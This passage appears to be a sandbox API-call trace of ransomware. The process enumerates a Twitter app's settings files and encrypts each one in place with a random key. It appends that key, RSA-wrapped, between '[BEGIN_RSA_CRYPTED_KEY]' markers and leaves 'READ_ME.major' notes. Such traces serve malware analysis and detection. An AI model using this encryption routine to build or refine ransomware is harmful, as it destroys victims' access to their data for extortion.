lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3b1d0afa, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x11d3fb2a, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x880df65b, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x880df65b, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x880df65b, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG1", cAlternateFileName="SETTIN~1.LOG")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x880df65b, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x880df65b, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x880df65b, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 1 [0194.294] FindNextFileW (in: hFindFile=0x2f874e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x880df65b, ftCreationTime.dwHighDateTime=0x1d32735, ftLastAccessTime.dwLowDateTime=0x880df65b, ftLastAccessTime.dwHighDateTime=0x1d32735, ftLastWriteTime.dwLowDateTime=0x880df65b, ftLastWriteTime.dwHighDateTime=0x1d32735, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="settings.dat.LOG2", cAlternateFileName="SETTIN~2.LOG")) returned 0 [0194.294] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0408 [0194.295] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccad0 [0194.295] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.295] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0194.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f82640 [0194.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.297] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG2" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\settings.dat.log2"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0194.297] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d200 [0194.297] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d250 [0194.298] ReadFile (in: hFile=0xa5c, lpBuffer=0x59d200, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d200*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.298] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.298] WriteFile (in: hFile=0xa5c, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.298] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.298] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.298] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.299] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.299] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="9244SXmbfKSFrIkx49nyy4puNm+TbGDh+Z6Q+zgelLN76EePTgyG8CGP3xhIQ9wh\nYf3wsslknRTQzG39jurzBRbSJPfrIHnMKcJmcQ3Y4iQKkgFz+uAZ0vZUgN5KJIvz\n8YffYqBd3V/SHyCGiPanPh2HXCxvZMrnVArKk9AA+MGOhOaDtl5IZ6ONCpHDS36I\n7YOaHT9eNv+QEGUqWsX4m9MxHoS5uj5LTPU374IlUha1Qfvj82r/1ZX/t0bKu/Gc\nlB8T/HO9QOmzN7lHTMs8QELDdNZjmFdB6KEb+euU8js+ScW50FfMKs0KWOCYMsSG\nNKDfEkQtYZiNwPJXZa9Nqw==\n", pcchString=0x2e3f9a8) returned 1 [0194.299] WriteFile (in: hFile=0xa5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.299] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.300] CloseHandle (hObject=0xa5c) returned 1 [0194.301] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.302] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0194.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f81a88 [0194.302] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.302] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat.LOG1" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\settings.dat.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0194.303] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f998f0 [0194.303] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f918d0 [0194.303] ReadFile (in: hFile=0xa5c, lpBuffer=0x2f998f0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.317] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.318] WriteFile (in: hFile=0xa5c, lpBuffer=0x2f918d0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f918d0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.318] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.318] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.318] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.318] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.319] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.319] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.319] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="81Loa3zHGG5mKoDeSimDyYuLAQLmU091MTZ4hIKffz1iCDk0P7vaG0Lnm2uE3qaQ\nfKnavB+ib03v/YwM/AlUTrfzefuPXJstrA7RGyLQ6sNxzKSB8mZXhD0H7BpRLGZ4\nJ/jluxIYusCSIWMArgkTDCXEDwQ0Sjd+rFwP0m5EsVccP8yENQCvzIBaWoa8HM06\nWkNian2bIVshPhJmn/lTs7B351561U3xg7WTGUgbVMKkK+fItxnqJpAvA7CkevNT\ndIE4WdKNWTIs1gDfPwnAWE+DlZDIYz4w/DXjD7RfiEmGkXZKFIUL2PO7wbWbcTlN\nCvSVPGLeAxikqyujVokyHQ==\n", pcchString=0x2e3f9a8) returned 1 [0194.319] WriteFile (in: hFile=0xa5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.319] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.319] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.319] CloseHandle (hObject=0xa5c) returned 1 [0194.323] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.323] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0194.323] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f81a88 [0194.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.324] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0194.324] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=8192) returned 1 [0194.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f958e0 [0194.324] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2000) returned 0x2f9b8f8 [0194.324] ReadFile (in: hFile=0xa5c, lpBuffer=0x2f958e0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.335] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.335] WriteFile (in: hFile=0xa5c, lpBuffer=0x2f9b8f8*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f9b8f8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0194.335] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0194.336] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.336] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.336] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.336] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.336] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.336] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.336] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="PkYarjYDKtIpb5bXuKet0aXzUoFTIXo40aYN4PKBpBkAKsEGS7VF9nFqHwXjj3Fx\n/hOfu7dDT55pR5/fgctaDT9mmgTve4bG6h3bGRxC45hIFVGuVtVU/FjPF85fkuqt\nml4t3nKbC9/WwsR94XmYPvVV8/j6Uk5Hg0U/gGj2Wo8BEsO0KU8BQ6gsp+BnzRKc\nfDBOu0EPokpSyUUphozyEo9yNayw3VH0ZoEtNFMHqp5f/2mB5JKtGsb4hgWUgHsF\nRHL+OEkLB7OCd34YSfwOki70fSiWt2JD9PIQ+SW3KbyF6G94us4ttlOpEV1F/jUz\nlwPFODoHqgbZ6Q4ptW4zYw==\n", pcchString=0x2e3f9a8) returned 1 [0194.336] WriteFile (in: hFile=0xa5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.336] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.336] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.337] CloseHandle (hObject=0xa5c) returned 1 [0194.338] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0194.338] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0194.338] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x2f81a88 [0194.339] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x11e) returned 0x5b4f18 [0194.339] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\9e2f88e3.twitter_wgeqdkkx372wm\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xa5c [0194.339] GetFileSizeEx (in: hFile=0xa5c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=0) returned 1 [0194.339] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d210 [0194.339] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x1) returned 0x59d260 [0194.339] ReadFile (in: hFile=0xa5c, lpBuffer=0x59d210, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d210*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.339] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0194.339] WriteFile (in: hFile=0xa5c, lpBuffer=0x59d260*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d260*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0194.339] SetFilePointer (in: hFile=0xa5c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0194.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.340] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0194.341] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0194.341] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0194.341] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5a8108 [0194.341] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="8PjZV6iHtzYsU0n8lwGgPwSfLhglzq/CMZqjJLykF6uEVSjGIh9nw4sWY6DhHG4+\nCosyNpsA04z2ybk2HxvSdwJ/3gLKcJdYs1MxXDFnoUp+Z73qFJpjQxqik/3netmN\nOXTEVO4/onNQunwCbfUlOD8xMxlZB08KQdnpAOXIadepeUoGfEIyOXccUs1vDTEX\n0+n4BJxlXZScM1gJoNrnX2y4lJ/eG4oBC/4ii1icxL3MOtcus8clsIrNxuoyF+RK\nFn3X1s7QcI6x6muqd0XrIYAxde7xy3fZKMIPormHW+B31RDCzMxrkp39g7dF4WkP\nD7Icv/jKwkJbxi0H00fQsA==\n", pcchString=0x2e3f9a8) returned 1 [0194.341] WriteFile (in: hFile=0xa5c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0194.341] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0194.341] WriteFile (in: hFile=0xa5c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0194.341] CloseHandle (hObject=0xa5c) returned 1 [0194.343] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\SystemAppData\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b92dcc4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f872e8 [0194.343] FindNextFileW (in: hFindFile=0x2f872e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b92dcc4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x8b92dcc4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.343] FindNextFileW (in: hFindFile=0x2f872e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b5fb84b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b5fb84b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.343] FindNextFileW (in: hFindFile=0x2f872e8, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b5fb84b, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b5fb84b, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b5fb84b, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 0 [0194.343] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x2f88fa8 [0194.343] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\9E2F88E3.Twitter_wgeqdkkx372wm\\TempState\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x2f87528 [0194.344] FindNextFileW (in: hFindFile=0x2f87528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3b184650, ftCreationTime.dwHighDateTime=0x1d32719, ftLastAccessTime.dwLowDateTime=0xc901f585, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0194.344] FindNextFileW (in: hFindFile=0x2f87528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b621a9d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b621a9d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0194.344] FindNextFileW (in: hFindFile=0x2f87528, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2b621a9d, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x2b621a9d, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x2b621a9d, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0x80000018, 